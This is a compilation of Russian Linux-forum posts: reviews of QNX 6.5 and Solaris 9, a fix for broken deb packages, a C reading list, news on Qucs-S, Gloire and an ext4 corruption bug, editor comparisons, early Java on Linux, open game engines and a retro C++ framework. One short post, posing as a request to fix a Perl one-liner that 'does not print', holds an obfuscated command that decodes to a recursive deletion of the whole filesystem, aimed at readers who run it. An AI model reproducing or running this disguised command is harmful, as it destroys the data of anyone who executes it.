QNX 6.5 датируется 2010 годом, и система все еще развивается. Но начиная с 6.6, оболочка Photon считается deprecated и удалена из системы. Версии qnx7 и qnx8 в свободном доступе найти не удалось вовсе.

Установка полностью в текстовом режиме, не совсем интуитивная, но если читать все что пишет установщик (ну или нажимать всегда F1), то все проходит успешно. После установки система сразу предлагает настроить дисплей, все стандартно, кроме аппаратного/программного курсора, так и не понял в чем у них разница.

QNX --- безопасная система реального времени, потому предлагает не париться и работать под root.

А вот DHCP не отработал и пришлось вводить настройки сети руками. Из 8Gb RAM система видит только 3.5 (free и /proc/mem отсуствуют). При 4 выделенных ядрах CPU показывает только одно (/proc/cpuinfo отсутствует).

Панелька справа --- это что-то вроде панели быстрого запуска+ панель виджетов, Launch --- привычное каскадное меню «аля Start», окна сворачиваются на нижнюю панель.

Где брать сторонний софт, пока не искал, но QNX --- это же SDP и пользователь должен сам написать себе ПО. В комплекте замечены gcc, python2.5 и vi. Но из коробки идет Firefox 2.0 Bon Echo, можно почитать LOR.

Есть поддержка разных языков ввода и некий аналог WordPad, который сохраняет файлы без расширения, так что не совсем понятно что это за формат, на соседнем скриншоте можно наблюдать что сохраняет он в обычном тестовом формате с описанием разметки.

Игори в комплекте: Аниме-Тетрис, Го, Солитер, Покер, Камушки.

Присутствуют средства удаленного подключения к другим QNX (к localhost подключаться отказалась, хотя в настройках разрешил подключения) и некое отладочное ПО для графического режима.

Выключать ПК следует самостоятельно.

В целом система интуитивно понятна, отзывчива и визуально выглядит более чем приемлемо. Пока оставлю, может найду что интересного можно на ней запустить.

>>> Просмотр (3486x2619, 1404 Kb)

Иногда возникает ситуация (особенно на машине разработчика/мейнтейнера), когда deb-пакет нельзя ни корректно доустановить, ни удалить, поскольку сценарий prerm (postrm, preinst, postinst) содержит ошибки. Ключи в apt и dpkg, посвящённые сломанным пакетам (--force-remove-*, -f) тоже могут не помочь, поскольку в первую очередь разруливают битые зависимости между пакетами.

В этом случае эффективным может оказаться «лечение» на низком уровне. Наиболее радикальный метод предлагался на опеннете: просто зайти в /var/lib/dpkg/info и удалить все файлы package-name.*, после чего удалить упоминания о пакете из /var/lib/dpkg/status (подробности по ссылке). Однако в этом случае удалится лишь метаинформация о пакете, а вот хвосты в /usr, /etc и др. останутся, как отмечали в комментариях.

Мне помог похожий, но чуть более тонкий способ. Надо зафиксировать, какая именно ошибка возникает в сценарии и в каком именно сценарии (для корректного удаления в первую очередь нас интересуют .prerm и .postrm).

Далее мы заходим в /var/lib/dpkg/info и просто исправляем package-name.prerm или package-name.postrm так, чтобы он отработал корректно. Например, если в .prerm удалялся несуществующий каталог без проверки на его существование, стираем или комментируем команду удаления.

После этого, как обычно, сносим пакет средствами dpkg -r.

Перемещено hobbit из development

Сто лет назад прочитал K&R и всегда хватало, а если я хочу углУбить?

// друг спрашивает :)

UPD: собрал из темы списочек, особо не редактируя (экстримов и модернов поболее одного, но пусть будет) – думаю, заглянувшим в будущем будет полезно:

• modern c by jens gustedt
• Thomas Mailund - Pointers in C Programming (2021)
• Gustedt - Modern C (2020)
• Kalin - Modern C Up and Running (2022)
• King - C Programming. A Modern Approach, 2nd ed. (2008)
• Хэзфилд «Искусство программировани на C»
• «Язык C в XXI веке»
• Экстремальный Си
• extreme c programming
• «UNIX. Профессиональное программирование» Уильям Ричард Стивенс, Стивен А. Раго
• C Interfaces and Implementations: Techniques for Creating Reusable Software
• Peter van der Linden, Expert C Programming: Deep C Secrets https://progforperf.github.io/Expert_C_Programming.pdf
• Чан Теренс «Системное программирование на С++ для Unix»

Недавно на Github появился репозиторий операционной системы Gloire. Gloire использует ядро Ironclad, написанное на языке программирования Ada, и пользовательское окружение GNU. На сайте, посвященном Ironclad, написано что оно находится в процессе «формальной верификации».

( читать дальше... )

>>> Подробности

Сегодня, 16 февраля 2024 года, вышел релиз симулятора электронных схем Qucs-S 24.1.0 В качестве движка моделирования рекомендуется использовать открытый Ngspice: https://ngspice.sourceforge.io/

Начиная с этой версии, система нумерации версий переведена на CalVer. Теперь первая цифра означает год, вторая номер релиза в году, третья – номер патча.

( читать дальше... )

>>> Подробности

Доброе время суток. Задача: восстановить фото, удалённые (несколько месяцев назад) с ноутбука (которым с тех пор неактивно, но пользовались) под оффтопиком 10. photorec под линуксовым live-usb восстановил часть. Хотела попробовать easyrecovery, образ (для вин10) взяла отсюда, live-usb записала через приблуду от тех же авторов, однако эта, как оказалось, FreeBSD не грузится на целевом ноуте (Lenovo IdeaPad L340-15API, проц Ryzen 5 3500U 2.10 Ггц). В Safe Mode в лог валится:

uhub_reattach_port: could not allocate new device
usbf_setup_device_desc: getting device descriptor at addr 1 failed, USB_ERR_TIMEOUT
ahcich: Timeout on slot 0 port 0
ahcich0: AHCI reset: device found
ahcich0: SATA connect time=100us status=00000133
(aprobe0:ahcich0:0:0:0): ATA_IDENTIFY. ACB: ec 00 00 00 00 40 00 00 00 00 00 00
(aprobe0:ahcich0:0:0:0): CAM status: Command timeout
(aprobe0:ahcich5:0:0:0): Error 5, Retries exhausted
...

При этом на других ноутах запускается без проблем; замена флэшки, образ из других источников ничего не меняют. Биос у целевого ноута очень куцый, там фактически нечего включать/выключать. Нагуглить удалось только предложение указывать при загрузке set hint.ahci.0.msi="0", но и это (ни так, ни с добавлением префикса kFreeBSD.) ничего не изменило.

Вопросы такие:

1. Что ещё можно сделать чтобы запустить изю на означенном ноуте?
2. Может быть я зря мучаюсь, и в 2024-м есть какие-то более эффективные способы восстановить утраченные файлы (или убедиться, что это невозможно)?

Заранее благодарю за ответы.

В середине уходящего года я захотел провести эксперимент: создать некую параметрическую систему, которая смогла бы облегчить, а может даже полностью заменить конструкторскую работу.

В целом, эксперимент оказался очень удачным, а FreeCAD – единственным, кто смог справиться с этой задачей и в чём-то даже превзойти мои ожидания… а перепробовал я многое.

Хочется поделиться впечатлениями :)

AP, DR_SL, Aceler, Zhbert, Turbid

• Плюсы, выборочно:

  • Полноценный Python, а значит и вся его экосистема.
  • Стабильность! Серьёзно, в сравнении с тем же SolidWorks он просто скала непоколебимая.
  • Удобство, скорость работы и так сказать – предсказуемость результата.
  • Много-много фишек, которых больше нигде не найти: link, clone, spreadsheet & configuration table, property и т. д.

• Особенности:

  • Нет какого-то определённого вектора развития… хотя может это не есть проблема.
  • Topological naming problem – то, о чём все так много говорят меня вообще не напрягает в работе.
  • Отсутствие верстака для сборки – при параметрическом моделировании он более чем не нужен, лишние проблемы могут быть из-за привязок.

• Из негативного:

  • В стандарте отсутствует верстак для работы с листовым металлом.
  • Обновления… многое (что идеально работало) сломали изменили в новых версиях, а потом ещё залезли в модуль SheetMetal и его сломали поменяли… но ладно, это скорее субъективное.

Для интересующихся есть долгое видео - YouTube

>>> Просмотр (2560x2160, 1094 Kb)

Привет, ЛОР!

Тут модно ругать ZFS недавно было, но мы этот тренд изменим. В ядре 6.1.64 есть баг, из-за которого при некоторых условиях файловая система ext4 может терять данные. Баг исправлен в ядре 6.1.66, так что дебианщикам и всем остальным стоит обновиться. Баг также исправлен в ядрах 6.5 и новее.

Примечательно, что ядро с дефектом поставляется в том числе в дистрибутиве Debian Bookworm 12.3. Вот вам и стабильный дистрибутив без багов!

Тыц раз: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057843

Тыц два: https://lore.kernel.org/stable/20231205122122.dfhhoaswsfscuhc3@quack3/

Из-за проблемного патча, перенесенного обратно из Linux 6.5 в 6.1, вызывающего помехи между кодом Ext4 и iomap, существует вероятность повреждения данных в старых ядрах - особенно в последних точечных выпусках Linux 6.1 LTS, которые в настоящее время можно найти в таких дистрибутивах, как Debian 12.

В возможной ошибке повреждения данных файловой системы EXT4, которая встречается в подобных версиях Linux 6.1.64 и 6.1.55, обвиняют «тонкое взаимодействие» (subtle interaction) между iomap и Ext4. Новая версия Linux 6.1.66 уже исправляет выявленный баг.

>>> Подробности в рассылке разработчиков ядра.

Ну, собственно, первая версия Debian запущена из под QEMU 2.0 под Windows XP, которая работает из-под QEMU 7.2.7.

>>> Просмотр (1919x1079, 306 Kb)

В названии, конечно, отсылка к фильму Spring, Summer, Fall, Winter… and Spring.

Обещал накатить вброс по Emacs, ибо как писали постом выше, народ заскучал. Речь идет о продолжении топика Жизнь после Emacs.

Вообще, суть моего мессенжа, пожалуй, точнее всего передает это короткое видео :).

Но если все же попытаться раскрыть суть чуть подробнее. Да, лучше Emacs пока никто ничего не придумал, хотя есть интересные попытки. Никакие элементы архаики, сохранившиеся в Emacs не могут преуменьшить те уникальные преимущества, которых больше нигде нет. Тут дело не в том, что в других редакторах/IDE они хуже или, скажем, они пока недоработанные. Их просто нет.

Итак, в продолжении темы предыдущей серии, я перешел на 1,5 года на VS Code.

Плюсы:

1. Производительность UI, который рендерится на GPU.
2. Производительность JavaScript (спасибо Electron/NodeJS/V8).
3. Вменяемый API.

Минусы:

1. Не keyboard-centric. Некоторые вещи вообще без мыши не сделать, что раздражает.
2. Хотите переименовать текущий файл? Вам нужен плагин для этого! В Emacs это была бы просто небольшая функция - кинул в конфиг и всего делов. Тут же 8 плагинов, половина из них заброшена в 2015-м, другая половина помимо необходимой функции добавляет еще 100500 других. Доков нет, докстрингов нет, что кто-то другой будет открывать код плагина и в мыслях не было. Спасибо, если есть ридми, пусть и не обновляемая много лет, и уже не релевантная коду.
3. Культура разработки. Вне официального кода от Microsoft ее нет (см. выше). Писать плагины на ClojureScript возможно, но не вполне натурально (как проба пера, например advanced-navigation-cljs). Да, есть еще joyride. API неплох, да, но многие вещи гвоздями прибиты и всего не настроишь.

Наверное, основной вопрос в плане конфигурации VS Code по сравнению с Emacs в том, что для Emacs можно было не особо переключаясь из контекста текущей деятельности быстренько перейти в .emacs, что-то там подправить и вернуться к основной задаче. В VS Code флоу совсем иной. Если ты вдруг понял, что тебе нужно что-то доконфигурировать, ты понимаешь, что либо на это нужно просто забить, либо мысленно сказать что-то вроде, «ну что ж, а теперь девочки и мальчики мы все бросаем и осваиваем/вспоминаем специальность «конфигуратор/плагинописатель» для VS Code», ибо быстренько что-то подхачить там не выйдет. Например, тебе дополнительно нужен инстанс среды для тестирования изменений плагина. Плагин дописывается, отлаживается и потом устанавливается в рабочую среду. Если же, ко всему прочему, это не твой плагин (что почти всегда), то нужно понимать, что вникать придется долго, ибо комментариев и докстрингов нет примерно никогда (за исключением собственно описания API от Microsoft).

При этом, всегда надеяться на то, что все будет «просто работать» нельзя. У меня например, после очередного обновления как-то отваливалась Calva (Clojure IDE) и edamagit (Magit for VSCode). Опять же, в Emacs у меня тоже были случаи, когда достаточно мейнстримовые плагины приходили с ошибками после очередного обновления. И в этой ситуации всегда можно быстренько это на лету починить, зарепортить багу или сразу прислать пулрек мейнтейнеру.

По итогу, решил попробовать NeoVim, ибо тоже в теории гибкая расширяемая среда, да и вообще, интересно и полезно из бочки вылезти, посмотреть, что в мире вимеров происходит.

Плюсы:

1. Производительность UI, для чего делаются отдельно UI клиенты. Я по итогу выбрал neovim-qt
2. Производительность Lua. Чуть хуже, чем JavaScript, но сильно лучше EmacsLisp. Впрочем, про производительность UI на относительно больших файлах будет ниже оговорка.
3. Fennel - Lisp, работающий на Lua прекрасен. Это дает в чем-то схожий флоу конфигурации, что и в Emacs, когда поведение меняется на лету (см. подробнее: conjure)
4. Сопоставимая с Emacs экосистема. Например, Magit (для Emacs), Edamagit (для VSCode) и NeoGit (для NeoVim) работают почти одинаково.

Минусы:

1. Модальность. Для кого-то это плюс, я ее не люблю. Я настраивал конфигурацию без модальности. Но тут периодически натыкаешься на ограничение возможностей Vim по тонкой настройке.
2. Менее удобная работа с Fennel, чем то, что предоставляет Emacs для EmacsLisp. На самом деле, они, конечно, не сопоставимы. Т.е. NeoVim не может быть такой же удобной IDE для Fennel как Emacs для EmacsLisp, уже по причине невозможности такой же интроспекции.
3. Довольно причудливый API, многие вещи прибиты гвоздями еще со времен царя-гороха. Например, для некоторой функциональности нет полноценных функций, которые можно было бы вызвать через API, есть только хоткеи, т.е. приходится эмулировать их нажатие для вызова этих функций. Ситуация прежде всего в NeoVim постепенно меняется к лучшему, но до API Emacs пропасть неизмеримых размеров.

Но вот то, что реально заставило меня отказаться от пути использовать NeoVim и планомерно конфигурировать его в соответствии со своими предпочтениями, это то, что на больших файлах он стал повисать прям конкретно на десятки секунд. В Neovim Qt это очень сильно сказывалось. В Neovide лучше, но там нет антиалиасинга. А хотелось бы. В консольной версии аналогично. Отключил все плагины - ситуация не сильно поменялась. И максимальным шоком стало то, что Emacs с этим файлом спокойно работал. Подвисал, да, но на доли секунд.

Про Lapce и Helix, наверное, пока говорить рано, они довольно экспериментальные еще.

В общем, лучше Emacs пока никто ничего не придумал, хотя есть интересные попытки.

Не знаю, как вы, но мне нравится ранняя история ядра Linux и программ, которые его окружают. Я лично мечтаю когда-нибудь найти потерянные версии ядра linux-0.02 и linux-0.03. И одно из мест, на котором оно может случайно оказаться – это archive.org. Среди каких-нибудь архивов/бэкапов, которые люди записали и выложили на сайте.

И вот, когда я рассматривал один из образов компакт-диска, мне попадается на глаза папка JAVA, а в ней… ну собственно, заголовок вы уже прочитали. На диске было 2 архива и HowTo в различных форматах из которого следует, что в архивах сама Java и браузер ее апплетов HotJava. Документ датирован 10.12.1995 и имеет версию 1.0.

Этот порт Java под Linux делала не сама Sun Microsystems (они это сделают только в релизе 1.2), а по большей части, волонтер Randy Chapman, подписавший с Sun соглашение, по которому ему были предоставлены исходные коды. Позже к нему присоединятся другие волонтеры, которые будут портировать все последующие новые версии Java.

Начиная с версии 1.2 Sun сама сделает поддержку Linux (x86), но команда blackdown.org продолжит выпускать версии JDK даже под те платформы, которые сама Sun, на тот момент, не поддерживала (PowerPC, SPARC). И по некоторым источникам эти порты работали быстрее, чем аналогичные от Sun. Последнии версии, которые успела выпустить Blackdown Linux, это 1.4.2 для i386/AMD64 и 1.3.1 для PowerPC. Работа над Java 5 (1.5.x) были анонсирована, но так и не были завершена…

Но вернемся к нашему скриншоту. Запустить Java я решил в Caldera Network Desktop (CND). Во-первых, раз Java имеет проприетарную лицензию, то пусть и дистрибутив тоже будет проприетарный. А во-вторых, Caldera у меня осталась со предыдущего скриншота. Разумеется данный порт Java может работать не только CND, но также и в RedHat/Slackware, хотя Caldera тоже поддерживается (что неудивительно, ввиду её родства с RedHat).

Во времена первых версий Java, компания Sun делала ставку на развитие и распространение технологии Java Applet и всячески продвигала эту технологию. В комплекте с JDK, помимо компилятора, был ещё и браузер апплетов HotJava и множество примеров показывающие их многогранную функциональность. Анимация, поддержка различных шрифтов и цветов, есть даже поддержка подобие 3D (скорее 2.5D), но, как мы знаем технология апплетов не получила широкого распространения, возможно из-за того, что сама Sun с версии 1.2 ударилась в enterprise-сегмент, где до сих пор занимает внушительную часть рынка, а возможно не выдержала конкуренцию с другими технологиями, такими как Flash. Кстати, в CND, в комплекте с дистрибутивом идёт проприетарный редактор CRISP. И в нем есть поддержка подсветки синтаксиса, но конкретно java он не поддерживает.

Кроме поддержки в инструментах от самой Sun, поддержку апплетов добавили в веб-браузер Netscape 2.0b3, о чём сообщается на титульной странице при старте браузера (нижний левый угол). Апплеты в Netscape работают примерно также, как в HotJava, но периодически падают, то ли из-за багов в самом браузере, то ли из того, что работают в виртуальной машине…

И завершить мне хочется скриншотом другой проприетарной программы – Adobe Reader 3.0, в которой открыта одна из полезных (на тот момент разумеется) книг – книга Laura Lemay от издательства Sams.net “Teach Yourself. JAVA in 21 Days”, в которой предлагалось выделять по одному дню на каждую из 21 главу книги. Оставим за скобками оптимистические сроки авторов (ведь всё же видели мем по 21 день С++…), тем не менее книга полезная и на момент написания HowTo была лишь пара-тройка книг, в которых в лучшем случае описывался API языка. Adobe Reader 3.0, тоже одна из первых версий под Linux, но появился он немного позже, чем сегодняшний герой, осенью 1996 года.

P.S. Ссылка на blackdown java 1.0beta

>>> Просмотр (2048x1536, 337 Kb)

OpenTESArena – проект по OpenSource реализации движка от The Elder Scrolls: Arena. Цель проекта: полная совместимость с Arena и нативная кроссплатформенность. Исходный код под лицензией MIT.

Игра-сабж доступна бесплатно в стиме. Именно Steam-версию я попробовал вместе с OpenTESArena.

Инструкция по установке на Linux:

1. Обязательно установите библиотеки libbsd и sdl2 – без них OpenTESArena не запускается.

2. Разархивируйте скачанную Linux-версию OpenTESArena в любую директорию.

3. Переместите в папку Data (папка в OpenTESArena) папку Arena из стим-версии TES: Arena.

4. Откройте в терминале директорию OpenTESArena.

5. В терминале запустите команду ./run.sh.

Сайт Open Source Game Clones пишет, что данный проект неиграбелен. А коммиты в данный проект к сожалению выходят редко. Версия 0.14.0 вышла в ноябре 2021 года, а версия 0.15.0 не выходит. Я багов не встречал, потому что я поиграл настолько немного, что я не прошёл и 0,001% игры.

Кстати OpenTESArena нативно доступен не только на Windows, Mac, Linux, но и на Raspberry Pi и хромбуках.

>>> Просмотр (1920x1080, 1254 Kb)

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=819703

Для Ъ:

Автора (JWZ, один из изначальных авторов Netscape Navigator и Mozilla) запарили жалобы юзеров на баги в старых версиях xscreensaver, после чего он добавил код, который выводит сообщение с требованием обновления через некоторое время после релиза.

В свою очередь, мейнтейнеры Debian не хотят запиливать новую версию xscreensaver потому что ШТОБИЛЬНОСТЬ ШТОБИЛЬНОСТЬ ШТОБИЛЬНОСТЬ.

Феерическая цитата:

So the upstream author has shown that he enjoys being a dick and that he can't be bothered to deal with users' bug reports against versions of his software that he no longer wants to support.

Это текстовая версия моей статьи про разработку графического приложения на чистом ассемблере под линукс.

( читать дальше... )

The Elder Scrolls II: Daggerfall — компьютерная игра в жанре action RPG для MS-DOS, разработанная Bethesda Softworks и выпущенная в 1996 году. Она является продолжением игры The Elder Scrolls: Arena и второй частью серии The Elder Scrolls

Daggerfall Unity — это открытая реализация движка Daggerfall с нативной версией под GNU/Linux на движке Unity3d. Исходный код распространяется по лицензии MIT.

Поиграл немного. Насколько я вижу, основные баги починили. В предыдущих версиях был например такой баг, когда игрок проваливался под текстуры.

С 2009 года игра переведена в разряд freeware. Таким образом чтобы поиграть в Daggerfall через Даггерфолл юнити достаточно:

• скачать игру, например, со стима;
• скачать Daggerfall Unity с гитхаба;
• распаковать архив(dfu_linux_64bit-v0.16.2-rc.zip);
• запустить в директории(dfu_linux_rc) собственно сам DaggerfallUnity (./DaggerfallUnity.x86_64).

Затем необходимо надо будет выбрать директорию где лежат ресурсы игры, после этого можно играть.

P.S. Собранный бинарник под линукс есть только под 64 бита.

>>> Просмотр (1920x1080, 1706 Kb)

помогите, пожалуйста исправить такую программу:

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

- не печатает

Приветствую!

Пишу фреймворк для разработки софта или игр. Идею взял из библиотеки SDL, но пишу на С++.

Главная идея это кроссплатформенность, производительность и поддержка старых и новых систем. Windows 95 - Windows 11, Linux-дистрибьютивы, начиная с 2000-ых годов.

Сам проект. Лицензия Boost Software.

Идея зародилась после написания статьи «В софте все всрато и становится еще всратее».

Как говорится, если критикуешь, предлагай, а предлагая делай. Запилил обзорную статью на Habr’е. На данный момент фреймворк активно портирую на Linux.

Что реализовано:

1. Поддержка 2D графики
2. Абстракции над примитивами ОС. Окна, события, каталоги и т.д
3. Поддержка Soft, OpenGL 1.2 и OpenGL 3 рендера.
4. Аудио подсистема в реализации, пилю поддержку потокового воспроизведения музыки.

Особенности проекта.

1. Поддержка старых систем 25+ лет.
2. Модульный дизайн.
3. Динамическая загрузка рендера при запуске приложения.
4. Весь код написан на С++ 98, для поддержки большего числа компиляторов и систем. Но разработчик, может использоать любой стандарт языка, хоть С++ 23. Ограничение есть лишь у меня как у разработчика фреймворка.
5. Высокоуровневый ООП API. Есть возможнось заюзать свои кастомные аллокаторы.
6. Поддержка старого железа 25+ лет.
7. Производительность.
8. Минимальная внешняя зависимость.

Первый релиз планирую выпустить в течении месяца. Осталось реализовать следующие пункты.

1. Протестировать и исправить порт под Linux.
2. Реализовать воспроизведение потокового звука.
3. Создать минимальную документацию.
4. Добавить больше примеров.

Недавно выступил с докладом на конференции С++ Russia 2023. Вперед в прошлое, или Разрабатываем фреймворк под Windows 95 в 2023 году

Презентация

Тема на Gamedev.ru

Тема на Old-Games.ru

Буду рад обсудить данный проект. Критика и предложения, очень приветствуется.

Перемещено hobbit из web-development

Представляю Вашему вниманию разработанную мной первую версию мультимедийной библиотеки Little DirectMedia Layer, сокращённо LDL.

Библиотека написана на С++ 98 стандарта, что позволяет компилировать ее начиная с Visual C++ 6.0. Код распространяется на условиях Boost Software License 1.0. Но библиотека не ограничивает программистов в выборе стандарта языка C++, программист может использовать любой современный стандарт языка. Я придерживаюсь философии downgrade — это использование старых устройств и софта в повседневной жизни, когда компании не поддерживают свои же «устаревшие» операционные системы или устройства, увеличивая с каждой новой версией своего продукта системные требования, или прекращают поддержку девайса. Миллиарды устройств по всему миру ежесекундно перемалывают миллиарды инструкций неоптимизированного кода.

В этом году я выступил на конференции С++ 2023 с докладом «Вперед в прошлое, или Разрабатываем фреймворк под Windows 95 в 2023 году».

Своим проектом я хочу доказать, что старое железо еще может приносить пользу и его рано списывать в утиль. Есть что-то чарующее в старых технологиях, подходах и железках, а еще это вызов новым библиотекам и программам.

В самом начале процесса разработки я и не предполагал, что данная библиотека вообще возможна. Но при практической реализации прототипа, добавляя строчку за строчкой в фундамент будущей библиотеки, убеждался в возможности ее создания и практическом применении.

Резюмируя вышесказанное, возможно писать быстрые программы, нужно просто воспользоваться знаниями древних.

Возможности библиотеки:

• поддержка Linux Debian 3 и выше (обеспечена нативная сборка);
• поддержка Windows 95 — Windows 11;
• простое API для работы с 2D графикой;
• загрузка множества графических форматов (bmp, png, tga, jpg);
• кроссплатформенное API над окнами и событиями ОС;
• для аппаратного ускорения графики используется OpenGL 1.2 и
• OpenGL 3.3, присутствует поддержка обработки графики только на ЦПУ, если отсутствует аппаратное ускорение;
• рендер может быть выбран динамически при загрузке приложения;
• единое API для всех систем — напиши один раз и компилируй везде!
• воспроизведение звука;
• динамическая и статическая линковка.

Планы на будущее:

• поточное воспроизведение звука;
• вывод текста с поддержкой библиотеки freetype;
• дополнительные рендеры Direct3D 9, 10, 11;
• API для работы с потоками;
• встроенная поддержка API для работы с сетью;
• портирование фреймворка на другие платформы: Android, IOS, MacOs.

Ссылки:

• Репозиторий проекта с описанием по сборке
• Примеры программ
• Презентация доклада
• Предыдущее обсуждение на ЛОРе

>>> Подробности

Вот собственно обещанный мной субж.
Система только что инсталлирована.
На экране: Solaris Management Console, Шкаф и терминал.
Locale UTF-8. Попробовал в терминале писать по русский, арабский, Thai и Hebrew - все OK. На язке Hindi квадраты :(
Арабский как и положено писался справа на лево. Но если в одной строке комбинировать арабский и Thai, то глюки с перерисовкой :(

Вот первые впечатления первой минуты работы с девяткой.
Как купим финальную версию и начнем под ней писать софт, тогда подробнее напишу про отличия от 8, глюки и т.п.

>>> Просмотр (1280x1024, 159 Kb)